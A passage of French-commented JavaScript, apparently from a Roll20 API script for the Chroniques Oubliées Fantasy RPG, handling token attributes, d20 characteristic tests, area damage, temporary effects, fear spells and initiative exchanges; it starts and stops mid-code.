Campaign().get('turnorder'); if (turnOrder === "" || !state.COFantasy.combat) { return; } evt.turnorder = evt.turnorder || turnOrder; turnOrder = JSON.parse(turnOrder).filter( function(elt) { return (elt.id != tokenId); }); Campaign().set('turnorder', JSON.stringify(turnOrder)); } function updateCurrentBar(token, barNumber, val) { var attrId = token.get("bar" + barNumber + "_link"); if (attrId === "") { token.set("bar" + barNumber + "_value", val); return; } var attr = getObj('attribute', attrId); attr.set('current', val); return; } function eForFemale(charId) { return onGenre(charId, '', 'e'); } function onGenre(charId, male, female) { var sex = getAttrByName(charId, 'SEXE'); if (sex.startsWith('F')) return female; return male; } function setTokenAttr(personnage, attribute, value, evt, msg, maxval) { var charId = personnage.charId; var token = personnage.token; if (msg !== undefined) { sendChar(charId, msg); } evt.attributes = evt.attributes || []; var agrandir = false; if (attribute == 'agrandissement' && token) agrandir = true; // check if the token is linked to the character. If not, use token name // in attribute name (token ids don't persist over API reload) if (token) { var link = token.get('bar1_link'); if (link === "") attribute += "_" + token.get('name'); } var attr = findObjs({ _type: 'attribute', _characterid: charId, name: attribute }); if (attr.length === 0) { if (maxval === undefined) maxval = ''; attr = createObj('attribute', { characterid: charId, name: attribute, current: value, max: maxval }); evt.attributes.push({ attribute: attr, current: null }); if (agrandir) { var width = token.get('width'); var height = token.get('height'); evt.affectes = evt.affectes || []; evt.affectes.push({ affecte: token, prev: { width: width, height: height } }); width += width / 2; height += height / 2; token.set('width', width); token.set('height', height); } return attr; } attr = attr[0]; evt.attributes.push({ attribute: attr, current: attr.get('current'), max: attr.get('max') }); attr.set('current', value); if (maxval !== undefined) attr.set('max', maxval); return attr; } function setAttr(selected, attribute, value, evt, msg, maxval) { if (selected === undefined || selected.length === 0) return []; iterSelected(selected, function(perso) { setTokenAttr(perso, attribute, value, evt, msg, maxval); }); } // evt et msg peuvent être undefined function removeTokenAttr(personnage, attribute, evt, msg) { var charId = personnage.charId; var token = personnage.token; if (msg !== undefined) { sendChar(charId, msg); } // check if the token is linked to the character. If not, use token name // in attribute name (token ids don't persist over API reload) if (token) { var link = token.get('bar1_link'); if (link === '') attribute += "_" + token.get('name'); } var attr = findObjs({ _type: 'attribute', _characterid: charId, name: attribute }); if (attr.length === 0) return; attr = attr[0]; if (evt) { evt.deletedAttributes = evt.deletedAttributes || []; evt.deletedAttributes.push(attr); } attr.remove(); } function removeAttr(selected, attribute, evt, msg) { if (selected === undefined || selected.length === 0) return []; iterSelected(selected, function(perso) { removeTokenAttr(perso, attribute, evt, msg); }); } function tokenAttribute(personnage, name) { var token = personnage.token; if (token) { var link = token.get('bar1_link'); if (link === "") name += "_" + token.get('name'); } return findObjs({ _type: 'attribute', _characterid: personnage.charId, name: name }); } // Caution : does not work with repeating attributes!!!! // Caution not to use token when the attribute should not be token dependant function attributeAsInt(personnage, name, def) { var attr = tokenAttribute(personnage, name); if (attr.length === 0) return def; attr = parseInt(attr[0].get('current')); if (isNaN(attr)) return def; return attr; } function charAttributeAsInt(charId, name, def) { var perso = { charId: charId }; if (charId.charId) perso.charId = charId.charId; return attributeAsInt(perso, name, def); } function attributeAsBool(personnage, name) { var attr = tokenAttribute(personnage, name); if (attr.length === 0) return false; attr = attr[0].get('current'); if (attr) return true; return false; } function charAttributeAsBool(charId, name) { var perso = { charId: charId }; if (charId.charId) perso.charId = charId.charId; return attributeAsBool(perso, name); } function armureMagique(msg) { msg.content += " armureMagique"; effetCombat(msg); } function bufDef(msg) { var cmd = msg.content.split(' '); if (cmd.length < 2) { error("La fonction !cof-buf-def attend un argument", cmd); return; } var buf = parseInt(cmd[1]); if (isNaN(buf)) { error("Argument de !cof-bu-def invalide", cmd); return; } if (buf === 0) return; var message = ""; if (buf > 0) message = "voit sa défense augmenter"; else message = "voit sa défense baisser"; var evt = { type: 'other' }; getSelected(msg, function(selected) { setAttr(selected, 'bufDEF', buf, evt, message); if (evt.attributes.length === 0) { error("Pas de cible valide sélectionnée pour !cod-buf-def", msg); return; } addEvent(evt); }); } function removeBufDef(msg) { var evt = { type: 'other' }; getSelected(msg, function(selected) { removeAttr(selected, 'bufDEF', evt, "retrouve sa défense normale"); if (evt.deletedAttributes.length === 0) { error("Pas de cible valide sélectionnée pour !cod-remove-buf-def", msg); return; } addEvent(evt); }); } //retourne un entier function bonusTestCarac(carac, personnage) { var bonus = modCarac(personnage, caracOfMod(carac)); bonus += charAttributeAsInt(personnage, carac + "_BONUS", 0); if (attributeAsBool(personnage, 'chant_des_heros')) { bonus += 1; } if (attributeAsBool(personnage, 'benediction')) { bonus += 1; } if (attributeAsBool(personnage, 'strangulation')) { var malusStrangulation = 1 + attributeAsInt(personnage, 'dureeStrangulation', 0); bonus -= malusStrangulation; } if (attributeAsBool(personnage, 'nueeDInsectes')) { bonus -= 2; } if (attributeAsBool(personnage, 'etatExsangue')) { bonus -= 2; } switch (carac) { case 'DEX': if (charAttributeAsInt(personnage, 'DEFARMUREON', 1)) bonus -= charAttributeAsInt(personnage, 'DEFARMUREMALUS', 0); if (charAttributeAsInt(personnage, 'DEFBOUCLIERON', 1)) bonus -= charAttributeAsInt(personnage, 'DEFBOUCLIERMALUS', 0); if (attributeAsBool(personnage, 'agrandissement')) bonus -= 2; break; case 'FOR': if (attributeAsBool(personnage, 'rayon_affaiblissant')) bonus -= 2; if (attributeAsBool(personnage, 'agrandissement')) bonus += 2; break; case 'CHA': if (attributeAsBool(personnage, 'aspectDeLaSuccube')) bonus += 5; break; } return bonus; } function nbreDeTestCarac(carac, charId) { var typeJet = findObjs({ _type: 'attribute', _characterid: charId, name: carac + '_SUP' }); if (typeJet.length === 0) return 1; switch (typeJet[0].get('current')) { case '@{JETNORMAL}': return 1; case '@{JETSUP}': case '@{JETSUPHERO}': return 2; default: error("Jet inconnu", typeJet[0].get('current')); } return 1; } function deTest(personnage) { var dice = 20; if (getState(personnage, 'affaibli')) dice = 12; return dice; } //callback peut prendre en argument une structure avec les champs: // - texte: Le texte du jet // - total : Le résultat total du jet // - echecCritique, critique pour indiquer si 1 ou 20 // - roll: le inlineroll (pour les statistiques) function jetCaracteristique(personnage, carac, options, callback) { var charId = personnage.charId; var token = personnage.token; var bonusCarac = bonusTestCarac(carac, personnage); if (options.bonusAttrs) { options.bonusAttrs.forEach(function(attr) { bonusCarac += charAttributeAsInt(charId, attr, 0); }); } if (options.bonus) bonusCarac += options.bonus; var carSup = nbreDeTestCarac(carac, charId); var de = computeDice(personnage, carSup); var bonusText = (bonusCarac > 0) ? ' + ' + bonusCarac : (bonusCarac === 0) ? "" : ' - ' + (-bonusCarac); var rollExpr = "[[" + de + "cs20cf1" + "]]"; sendChat("", rollExpr, function(res) { var rolls = res[0]; var d20roll = rolls.inlinerolls[0].results.total; var rtext = buildinline(rolls.inlinerolls[0]) + bonusText; var rt = { total: d20roll + bonusCarac }; if (d20roll == 1) { rtext += " -> échec critique"; rt.echecCritique = true; } else if (d20roll == 20) { rtext += " -> réussite critique"; rt.critique = true; } else if (bonusCarac !== 0) rtext += " = " + rt.total; rt.texte = rtext; rt.roll = rolls.inlinerolls[0]; callback(rt); }); } // Test de caractéristique // options : bonusAttrs, bonus, roll // Après le test, lance callback(testRes) // testRes.texte est l'affichage du jet de dé // testRes.reussite indique si le jet est réussi // testRes.echecCritique, testRes.critique pour le type function testCaracteristique(personnage, carac, seuil, options, evt, callback) { //asynchrone options = options || {}; var charId = personnage.charId; var token = personnage.token; var bonusCarac = bonusTestCarac(carac, personnage); if (options.bonusAttrs) { options.bonusAttrs.forEach(function(attr) { bonusCarac += charAttributeAsInt(charId, attr, 0); }); } if (options.bonus) bonusCarac += options.bonus; var testRes = {}; if (carac == 'SAG' || carac == 'INT' || carac == 'CHA') { if (charAttributeAsBool(charId, 'sansEsprit')) { testRes.reussite = true; testRes.texte = "(sans esprit : réussite automatique)"; callback(testRes); return; } } var carSup = nbreDeTestCarac(carac, charId); var de = computeDice(personnage, carSup); var rollExpr = "[[" + de + "cs20cf1]]"; var name = getObj('character', charId).get('name'); sendChat("", rollExpr, function(res) { var roll = options.roll || res[0].inlinerolls[0]; testRes.roll = roll; var d20roll = roll.results.total; var bonusText = (bonusCarac > 0) ? "+" + bonusCarac : (bonusCarac === 0) ? "" : bonusCarac; testRes.texte = buildinline(roll) + bonusText; if (d20roll == 20) { testRes.reussite = true; testRes.critique = true; } else if (d20roll == 1) { testRes.reussite = false; testRes.echecCritique = true; diminueMalediction(personnage, evt); } else if (d20roll + bonusCarac >= seuil) { testRes.reussite = true; } else { diminueMalediction(personnage, evt); testRes.reussite = false; } callback(testRes); }); } // Ne pas remplacer les inline rolls, il faut les afficher correctement function aoe(msg) { var options = parseOptions(msg); var cmd = options.cmd; if (cmd === undefined || cmd.length < 2) { error("cof-aoe prend les dégats en argument, avant les options", msg.content); return; } getSelected(msg, function(selected) { if (selected === undefined || selected.length === 0) { error("pas de cible pour l'aoe", msg); return; } var evt = { type: 'aoe', affectes: [] }; if (limiteRessources(undefined, options, 'aoe', 'aoe', evt)) return; var action = "<b>Dégats à aire d'effets.</b>"; var optArgs = msg.content.split(' --'); var dmg; var dmgRollNumber = findRollNumber(cmd[1]); if (dmgRollNumber === undefined) { dmg = { display: cmd[1], total: parseInt(cmd[1]), type: 'normal' }; if (isNaN(dmg.total)) { error("Le premier argument de !cof-aoe n'est pas un nombre", msg.content); return; } } else { var r = msg.inlinerolls[dmgRollNumber]; dmg = { total: r.results.total, display: buildinline(r, 'normal'), type: 'normal' }; if (isNaN(dmg.total)) { error("Le premier argument de !cof-aoe n'est pas un nombre", msg.content); return; } } var partialSave; options.aoe = true; optArgs.forEach(function(opt) { opt = opt.split(' '); switch (opt[0]) { case '!cof-aoe': break; case 'psave': partialSave = opt; break; case 'once': if (opt.length < 2) { error("Il manque l'id de l'événement qui a provoqué l'aoe", optArgs); options.return = true; return; } var originalEvt = findEvent(opt[1]); if (originalEvt === undefined) { sendPlayer(msg, "Trop tard pour l'aoe : l'action de départ est trop ancienne ou a été annulée"); options.return = true; return; } if (originalEvt.waitingForAoe) { evt = originalEvt; // Il faudra enlever waitingForAoe à la place de faire un addEvent return; } sendPlayer(msg, "Action déjà effectuée"); options.return = true; return; case 'morts-vivants': options[opt[0]] = true; return; default: } }); if (options.return) return; if (partialSave !== undefined) { if (partialSave.length < 3) { error("Usage : !cof-aoe dmg --psave carac seuil", partialSave); return; } if (isNotCarac(partialSave[1])) { error("Le premier argument de --psave n'est pas une caractéristique", partialSave); return; } var seuil; var seuilText; var seuilRollNumber = findRollNumber(partialSave[2]); if (seuilRollNumber === undefined) { seuil = parseInt(partialSave[2]); if (isNaN(seuil)) { error("Le deuxième argument de --psave n'est pas un nombre", partialSave); return; } seuilText = seuil; } else { var rs = msg.inlinerolls[seuilRollNumber]; seuilText = buildinline(rs, 'normal'); seuil = rs.results.total; } options.partialSave = { carac: partialSave[1], seuil: seuil }; action += " Jet de " + partialSave[1] + " difficulté " + seuilText + " pour réduire les dégâts"; } var display = startFramedDisplay(msg.playerid, action); var tokensToProcess = selected.length; function finalDisplay() { if (tokensToProcess == 1) { sendChat("", endFramedDisplay(display)); if (evt.affectes.length > 0) { if (evt.waitingForAoe) { evt.waitingForAoe = undefined; } else { addEvent(evt); } } } tokensToProcess--; } iterSelected(selected, function(perso) { if (options['morts-vivants'] && !(estMortVivant(perso))) { finalDisplay(); return; } var name = perso.token.get('name'); var explications = []; dealDamage(perso, dmg, [], evt, 1, options, explications, function(dmgDisplay, dmgFinal) { addLineToFramedDisplay(display, name + " reçoit " + dmgDisplay + " DM"); explications.forEach(function(e) { addLineToFramedDisplay(display, e, 80, false); }); finalDisplay(); }); }, finalDisplay); }, options.lanceur); } function findRollNumber(msg) { if (msg.length > 4) { if (msg.substring(0, 3) == '$[[') { var res = rollNumber(msg); if (isNaN(res)) return undefined; return res; } } return undefined; } function isNotCarac(x) { return (x != 'FOR' && x != 'DEX' && x != 'CON' && x != 'SAG' && x != 'INT' && x != 'CHA'); } function estElementaire(t) { if (t === undefined) return false; return (t == "feu" || t == "froid" || t == "acide" || t == "electrique"); } function interfaceSetState(msg) { getSelected(msg, function(selected) { if (selected === undefined || selected.length === 0) { error("Pas de cible pour le changement d'état", msg); return; } var cmd = msg.content.split(' '); if (cmd.length < 3) { error("Pas assez d'arguments pour !cof-set-state", msg.content); return; } var etat = cmd[1]; var valeur = cmd[2]; if (valeur == "false" || valeur == "0") valeur = false; if (valeur == "true") valeur = true; if (!_.has(cof_states, etat)) { error("Premier argument de !cof-set-state n'est pas un état valide", cmd); return; } var evt = { type: "set_state", affectes: [] }; iterSelected(selected, function(perso) { setState(perso, etat, valeur, evt); }); addEvent(evt); }); } function updateInit(token, evt) { if (state.COFantasy.combat && token.get('pageid') == state.COFantasy.combat_pageid) initiative([{ _id: token.id }], evt); } function updateNextInit(token) { updateNextInitSet.add(token.id); } function attributesInitEnMain(charId) { var attrs = findObjs({ _type: 'attribute', _characterid: charId }); attrs = attrs.filter(function(obj) { return (obj.get('name').startsWith('initEnMain')); }); return attrs; } function labelInitEnMain(attr) { var attrN = attr.get('name').substring(10); return attrN; } function degainer(msg) { if (msg.selected === undefined || msg.selected.length === 0) { error("Qui doit dégainer ?", msg); return; } var cmd = msg.content.split(' '); if (cmd.length < 2) { error("Pas assez d'arguments pour !cof-degainer", msg.content); return; } var armeLabel = cmd[1]; var evt = { type: "other", attributes: [] }; iterSelected(msg.selected, function(perso) { var token = perso.token; var charId = perso.charId; var name = token.get('name'); var attrs = attributesInitEnMain(charId); attrs.forEach(function(attr) { var cur = parseInt(attr.get('current')); var attrN = labelInitEnMain(attr); var att = getAttack(attrN, name, charId); if (att === undefined) { error("Init en main avec un label introuvable dans les armes", attr); return; } var nomArme = att.weaponName; if (attrN == armeLabel) { if (cur === 0) { sendChar(charId, "dégaine " + nomArme); evt.attributes.push({ attribute: attr, current: cur }); attr.set('current', attr.get('max')); updateNextInit(token); return; } sendChar(charId, "a déjà " + nomArme + " en main"); return; } if (cur !== 0) { sendChar(charId, "rengaine " + nomArme); evt.attributes.push({ attribute: attr, current: cur }); attr.set('current', 0); } }); }); if (evt.attributes.length > 0) addEvent(evt); } function echangeInit(msg) { var args = msg.content.split(" "); if (args.length < 4) { error("Pas assez d'arguments pour !cof-echange-init: " + msg.content, args); return; } var perso1 = tokenOfId(args[1], args[1]); if (perso1 === undefined) { error("le premier argument n'est pas un token valide", args[1]); return; } var perso2 = tokenOfId(args[2], args[2]); if (perso2 === undefined) { error("le second argument n'est pas un token valide", args[2]); return; } var attackBonus = parseInt(args[3]); if (isNaN(attackBonus) || attackBonus < 1 || attackBonus > 2) { error("Le troisième argument n'est pas un nombre", args[3]); return; } var evt = { type: "echange_init" }; var to = getTurnOrder(evt); var tourTok1 = to.pasAgi.findIndex(function(t) { return (t.id == perso1.token.id); }); var tourTok2 = to.pasAgi.findIndex(function(t) { return (t.id == perso2.token.id); }); if (tourTok1 < 0) { sendChar(perso1.charId, "a déjà agit, pas moyen d'échanger son initiative"); return; } if (tourTok2 < 0) { sendChar(perso2.charId, "a déjà agit, pas moyen d'échanger son initiative"); return; } var pr1 = to.pasAgi[tourTok1].pr; var pr2 = to.pasAgi[tourTok2].pr; if (pr1 == pr2) { sendChar(perso1.charId, "a la même initiative que " + perso2.token.get('name')); return; } if (pr1 > pr2) { setTokenAttr(perso1, 'actionConcertee', attackBonus, evt, "gagne un bonus de " + attackBonus + " à ses attaques et en DEF pour ce tour"); addEvent(evt); } to.pasAgi[tourTok1].pr = pr2; to.pasAgi[tourTok2].pr = pr1; var t1 = to.pasAgi[tourTok1]; to.pasAgi[tourTok1] = to.pasAgi[tourTok2]; to.pasAgi[tourTok2] = t1; updateNextInit(perso1.token); updateNextInit(perso2.token); to.pasAgi.push(to.tour); var turnOrder = to.pasAgi.concat(to.dejaAgi); Campaign().set('turnorder', JSON.stringify(turnOrder)); addEvent(evt); } function aCouvert(msg) { var args = msg.content.split(" "); if (args.length < 2) { error("Pas assez d'arguments pour !cof-a-couvert: " + msg.content, args); return; } var perso1 = tokenOfId(args[1], args[1]); if (perso1 === undefined) { error("Le premier argument n'est pas un token valide", args[1]); return; } var evt = { type: "a_couvert" }; var init = getInit(); setTokenAttr(perso1, 'a_couvert', 1, evt, "reste à couvert", init); if (args.length > 2) { var perso2 = tokenOfId(args[2], args[2]); if (perso2 === undefined) { error("Le second argument n'est pas un token valide", args[2]); addEvent(evt); return; } if (perso2.token.id == perso1.token.id) { sendChar(perso1.charId, "s'est ciblé lui-même, il est donc le seul à couvert"); addEvent(evt); return; } var d = distanceCombat(perso1.token, perso2.token); if (d > 0) { sendChar(perso2.charId, "est trop éloigné de " + perso1.token.get('name') + " pour rester à couvert avec lui"); } else { setTokenAttr(perso2, 'a_couvert', 1, evt, "suit " + perso1.token.get('name') + " et reste à couvert", init); } } addEvent(evt); } function parseOptions(msg) { var pageId; if (msg.selected && msg.selected.length > 0) { var firstSelected = getObj('graphic', msg.selected[0]._id); pageId = firstSelected.get('pageid'); } var opts = msg.content.split(' --'); var cmd = opts.shift().split(' '); var options = { pageId: pageId, cmd: cmd }; opts.forEach(function(arg) { cmd = arg.split(' '); switch (cmd[0]) { case "lanceur": if (cmd.length < 2) { error("Il faut préciser l'id ou le nom du lanceur", arg); return; } options.lanceur = tokenOfId(cmd[1], cmd[1], pageId); if (options.lanceur === undefined) { error("Argument de --lanceur non valide", cmd); } return; case 'puissant': if (cmd.length < 2) { options.puissant = "on"; return; } if (cmd[1] == "oui") { options.puissant = "on"; return; } if (cmd[1] == "non") { options.puissant = "off"; return; } error("Option puissant non reconnue", cmd); return; case "mana": if (cmd.length < 2) { error("Pas assez d'argument pour --mana", cmd); return; } var cout; if (cmd.length > 2) { options.lanceur = tokenOfId(cmd[1], cmd[1], pageId); if (options.lanceur === undefined) { error("Premier argument de --mana non valide", cmd); return; } cout = parseInt(cmd[2]); } else { cout = parseInt(cmd[1]); } if (isNaN(cout) || cout < 0) { error("Cout en mana incorrect", cmd); return; } options.mana = cout; return; case 'limiteParJour': if (cmd.length < 2) { error("Il manque la limite journalière", cmd); return; } var limiteParJour = parseInt(cmd[1]); if (isNaN(limiteParJour) || limiteParJour < 1) { error("La limite journalière doit être un nombre positif", cmd); return; } options.limiteParJour = limiteParJour; if (cmd.length > 2) { options.limiteParJourRessource = cmd[2]; } return; case 'limiteParCombat': if (cmd.length < 2) { options.limiteParCombat = 1; return; } var limiteParCombat = parseInt(cmd[1]); if (isNaN(limiteParCombat) || limiteParCombat < 1) { error("La limite par combat doit être un nombre positif", cmd); return; } options.limiteParCombat = limiteParCombat; if (cmd.length > 2) { options.limiteParCombatRessource = cmd[2]; } return; case "portee": if (cmd.length < 2) { error("Pas assez d'argument pour --portee n", cmd); return; } var portee; if (cmd.length > 2) { var tokPortee = tokenOfId(cmd[1], cmd[1], pageId); if (tokPortee === undefined) { error("Premier argument de --portee non valide", cmd); return; } portee = parseInt(cmd[2]); } else { portee = parseInt(cmd[1]); } if (isNaN(portee) || portee < 0) { error("Portée incorrecte", cmd); return; } options.portee = portee; return; case 'saveParTour': options.saveParTour = parseSave(cmd); return; case 'dose': if (cmd.length < 2) { error("Il faut le nom de la dose", cmd); return; } options.dose = cmd[1]; return; case 'decrAttribute': if (cmd.length < 2) { error("Erreur interne d'une commande générée par bouton", opts); return; } var attr = getObj('attribute', cmd[1]); if (attr === undefined) { log("Attribut à changer perdu"); log(cmd); return; } options.decrAttribute = attr; return; default: return; } }); return options; } function getInit() { return state.COFantasy.init; } function effetTemporaire(msg) { var options = parseOptions(msg); var cmd = options.cmd; if (cmd === undefined || cmd.length < 3) { error("Pas assez d'arguments pour !cof-effet-temp", msg.content); return; } var effetComplet = cmd[1]; var effet = cmd[1]; if (effet.startsWith('forgeron_')) effet = 'forgeron'; else if (effet.startsWith('dmgArme1d6_')) effet = 'dmgArme1d6'; if (!estEffetTemp(effet)) { error(effet + " n'est pas un effet temporaire répertorié", msg.content); return; } var duree = parseInt(cmd[2]); if (isNaN(duree) || duree < 1) { error( "Le deuxième argument de !cof-effet-temp doit être un nombre positif", msg.content); return; } var evt = { type: 'Effet temporaire ' + effetComplet }; var lanceur = options.lanceur; var charId; if (lanceur === undefined && (options.mana || (options.portee !== undefined) || options.limiteParJour || options.limiteParCombat || options.dose)) { error("Il faut préciser un lanceur pour ces options d'effet", options); return; } if (lanceur) charId = lanceur.charId; if (limiteRessources(lanceur, options, effet, effet, evt)) return; getSelected(msg, function(selected) { if (selected === undefined || selected.length === 0) { sendChar(charId, "Pas de cible sélectionée pour l'effet"); return; } if (options.portee !== undefined) { selected = selected.filter(function(sel) { var token = getObj('graphic', sel._id); var dist = distanceCombat(lanceur.token, token); if (dist > options.portee) { sendChar(charId, " est trop loin de sa cible"); return false; } return true; }); } if (!state.COFantasy.combat && selected.length > 0) { initiative(selected, evt); } setAttr( selected, effetComplet, duree, evt, messageEffetTemp[effet].activation, getInit()); if (options.saveParTour) { setAttr(selected, effetComplet + "SaveParTour", options.saveParTour.carac, evt, undefined, options.saveParTour.seuil); } if (options.puissant) { var puissant = true; if (options.puissant == "off") puissant = false; setAttr(selected, effetComplet + "Puissant", puissant, evt); } addEvent(evt); }, lanceur); } function effetCombat(msg) { var options = parseOptions(msg); var cmd = options.cmd; if (cmd === undefined || cmd.length < 2) { error("Pas assez d'arguments pour !cof-effet-combat", msg.content); return; } var effet = cmd[1]; if (!estEffetCombat(effet)) { error(effet + " n'est pas un effet de combat répertorié", msg.content); return; } var evt = { type: 'Effet ' + effet }; var lanceur = options.lanceur; var charId; if (lanceur === undefined && (options.mana || (options.portee !== undefined) || options.limiteParJour || options.limiteParCombat)) { error("Il faut préciser un lanceur pour ces options d'effet", options); return; } if (lanceur) charId = lanceur.charId; if (limiteRessources(lanceur, options, effet, effet, evt)) return; getSelected(msg, function(selected) { if (selected === undefined || selected.length === 0) { sendChar(charId, "Pas de cible sélectionée pour l'effet"); return; } if (options.portee !== undefined) { selected = selected.filter(function(sel) { var token = getObj('graphic', sel._id); var dist = distanceCombat(lanceur.token, token); if (dist > options.portee) { sendChar(charId, " est trop loin de sa cible"); return false; } return true; }); } if (!state.COFantasy.combat && selected.length > 0) { initiative(selected, evt); } setAttr( selected, effet, true, evt, messageEffetCombat[effet].activation); if (options.puissant) { var puissant = true; if (options.puissant == "off") puissant = false; setAttr(selected, effet + "Puissant", puissant, evt); } addEvent(evt); }); } function effetIndetermine(msg) { var options = parseOptions(msg); var cmd = options.cmd; if (cmd === undefined || cmd.length < 3) { error("Pas assez d'arguments pour !cof-effet", msg.content); return; } var effet = cmd[1]; if (!estEffetIndetermine(effet)) { error(effet + " n'est pas un effet répertorié", msg.content); return; } var activer; switch (cmd[2]) { case 'oui': case 'Oui': case 'true': activer = true; break; case 'non': case 'Non': case 'false': activer = false; break; default: error("Option de !cof-effet inconnue", cmd); return; } var evt = { type: 'Effet ' + effet }; var lanceur = options.lanceur; var charId; if (lanceur === undefined && (options.mana || (options.portee !== undefined) || options.limiteParJour || options.limiteParCombat)) { error("Il faut préciser un lanceur pour ces options d'effet", options); return; } if (lanceur) charId = lanceur.charId; if (limiteRessources(lanceur, options, effet, effet, evt)) return; getSelected(msg, function(selected) { if (selected === undefined || selected.length === 0) { sendChar(charId, "Pas de cible sélectionée pour l'effet"); return; } if (options.portee !== undefined) { selected = selected.filter(function(sel) { var token = getObj('graphic', sel._id); var dist = distanceCombat(lanceur.token, token); if (dist > options.portee) { sendChar(charId, " est trop loin de sa cible"); return false; } return true; }); } if (activer) { setAttr( selected, effet, true, evt, messageEffetIndetermine[effet].activation); if (options.puissant) { var puissant = true; if (options.puissant == "off") puissant = false; setAttr(selected, effet + "Puissant", puissant, evt); } } else { removeAttr(selected, effet, evt, messageEffetIndetermine[effet].fin); } addEvent(evt); }); } function peurOneToken(target, pageId, difficulte, duree, options, display, evt, callback) { var charId = target.charId; var targetName = target.token.get('name'); if (charAttributeAsBool(charId, 'sansPeur')) { addLineToFramedDisplay(display, targetName + " est insensible à la peur !"); callback(); return; } var carac = 'SAG'; //carac pour résister if (options.resisteAvecForce) carac += 'FOR'; //chercher si un partenaire a sansPeur pour appliquer le bonus var charName = getObj('character', charId).get('name'); var toutesEquipes = findObjs({ _type: 'handout' }); toutesEquipes = toutesEquipes.filter(function(obj) { return (obj.get('name').startsWith("Equipe ")); }); var countEquipes = toutesEquipes.length; var allieSansPeur = 0; toutesEquipes.forEach(function(equipe) { equipe.get('notes', function(note) { countEquipes--; if (note.includes(charName)) { var names = note.split('<br>'); var tokens = tokensNamed(names, pageId); tokens.forEach(function(tok) { var cid = tok.get('represents'); if (cid === '') return; if (charAttributeAsBool(cid, 'sansPeur')) { allieSansPeur = Math.max(allieSansPeur, 2 + modCarac({ token: tok, charId: cid }, 'CHARISME')); } }); } if (countEquipes === 0) { //continuation testCaracteristique(target, carac, difficulte, { bonus: allieSansPeur }, evt, function(tr) { var line = "Jet de résistance de " + targetName + ":" + tr.texte; var sujet = onGenre(charId, 'il', 'elle'); if (tr.reussite) { line += "&gt;=" + difficulte + ", " + sujet + " résiste à la peur."; } else { setState(target, 'apeure', true, evt); line += "&lt;" + difficulte + ", " + sujet; var effet = 'peur'; if (options.etourdi) { line += "s'enfuit ou reste recroquevillé" + eForFemale(charId) + " sur place"; effet = 'peurEtourdi'; } else if (options.ralenti) { line += "est ralenti" + eForFemale(charId); effet = 'ralentiTemp'; } else { line += "s'enfuit."; } setTokenAttr(target, effet, duree, evt, undefined, getInit()); } addLineToFramedDisplay(display, line); callback(); }); } }); }); //end toutesEquipes.forEach callback(); } function peur(msg) { var optArgs = msg.content.split(' --'); var cmd = optArgs[0].split(' '); if (cmd.length < 4) { error("Pas assez d'arguments pour !cof-peur", msg.content); return; } var caster = tokenOfId(cmd[1], cmd[1]); if (caster === undefined) { error("Le premier arguent de !cof-peur n'est pas un token valide", cmd); return; } var casterToken = caster.token; var pageId = casterToken.get('pageid'); var difficulte = parseInt(cmd[2]); if (isNaN(difficulte)) { error("Le second argument de !cof-peur, la difficulté du test de résitance, n'est pas un nombre", cmd); return; } var duree = parseInt(cmd[3]); if (isNaN(duree) || duree < 0) { error("Le troisième argument de !cof-peur, la durée, n'est pas un nombre positif", cmd); return; } var options = {}; optArgs.shift(); optArgs.forEach(function(opt) { var optCmd = opt.split(' '); switch (optCmd[0]) { case "attaqueMagique": error("TODO", opt); return; case "resisteAvecForce": case "etourdi": case "ralenti": case "effroi": options[optCmd[0]] = true; return; case "portee": if (optCmd.length < 2) { error("Il manque l'argument de portée", optArgs); return; } options.portee = parseInt(optCmd[1]); if (isNaN(options.portee) || options.portee < 0) { error("La portée n'est pas un nombre positif", optCmd); options.portee = undefined; } return; default: return; } }); getSelected(msg, function(selected) { if (selected === undefined || selected.length === 0) { error("Pas de cible sélectionnée pour la peur", msg); return; } var action = "<b>" + casterToken.get('name') + "</b> "; if (options.effroi) action += "est vraiment effrayant" + eForFemale(caster.charId); else action = "<b>Capacité</b> : Sort de peur"; var display = startFramedDisplay(msg.playerid, action, caster); var evt = { type: 'peur' }; var counter = selected.length; var finalEffect = function() { if (counter > 0) return; sendChat("", endFramedDisplay(display)); addEvent(evt); }; iterSelected(selected, function(perso) { counter--; if (options.portee !== undefined) { var distance = distanceCombat(casterToken, perso.token, pageId); if (distance > options.portee) { addLineToFramedDisplay(display, perso.token.get('name') + " est hors de portée de l'effet"); finalEffect(); return; } } peurOneToken(perso, pageId, difficulte, duree, options, display, evt, finalEffect); }, //fun fonction de iterSelectde function() { //callback pour les cas où token incorrect counter--; finalEffect(); }); }, caster); } // callback est seulement appelé si on fait le test function attaqueMagique(msg, evt, callback) { var args = msg.content.split(" "); if (args.length < 3) { error("Pas assez d'arguments pour " + msg.content, args); return; } var attaquant = tokenOfId(args[1], args[1]); if (attaquant === undefined) { error("L'attaquant n'est pas un token valide", args[1]); return; } var token1 = attaquant.token; var charId1 = attaquant.charId; var char1 = getObj("character", attaquant.charId); if (char1 === undefined) { error("Unexpected undefined 1", attaquant); return; } var name1 = char1.get('name'); var pageId = attaquant.token.get('pageid'); var cible = tokenOfId(args[2], args[2], pageId); if (cible === undefined) { error("La cible n'est pas un token valide" + msg.content, args[2]); return; } var token2 = cible.token; var charId2 = cible.charId; var char2 = getObj("character", charId2); if (char2 === undefined) { error("Unexpected undefined 1", token2); return; } var name2 = char2.get('name'); var explications = []; evt = evt || { type: 'attaque magique' }; var options = {}; var opts = msg.content.split(' --'); opts.shift(); opts.forEach(function(option) { var cmd = option.split(' '); switch (cmd[0]) { case 'portee': if (cmd.length < 2) { error("Il manque l'argument de --portee", msg.content); return; } options.portee = parseInt(cmd[1]); if (isNaN(options.portee) || options.portee < 0) { error("La portée doit être un nombre positif", cmd); options.portee = undefined; } return; case 'mana': if (cmd.length < 2) { error("Il manque l'argument de --mana", msg.content); return; } options.mana = parseInt(cmd[1]); if (isNaN(options.mana) || options.mana < 0) { error("Le coût en mana doit être un nombre positif", cmd); options.mana = undefined; } return; default: error("Option d'attaque magique inconnue", cmd); return; } }); if (options.portee !== undefined) { var distance = distanceCombat(token1, token2, pageId); if (distance > options.portee) { sendChar(charId1, "est trop loin de " + cible.token.get('name') + " pour l'attaque magique"); return; } } if (options.mana) { var msgMana = "l'attaque magique"; if (!depenseMana(attaquant, options.mana, msgMana, evt)) return; } var bonus1 = bonusDAttaque(attaquant, explications, evt); if (bonus1 === 0) bonus1 = ""; else if (bonus1 > 0) bonus1 = " +" + bonus1; var attk1 = addOrigin(name1, "[[" + getAttrByName(charId1, 'ATKMAG') + bonus1 + "]]"); var bonus2 = bonusDAttaque(cible, explications, evt); if (bonus2 === 0) bonus2 = ""; else if (bonus2 > 0) bonus2 = " +" + bonus2; var 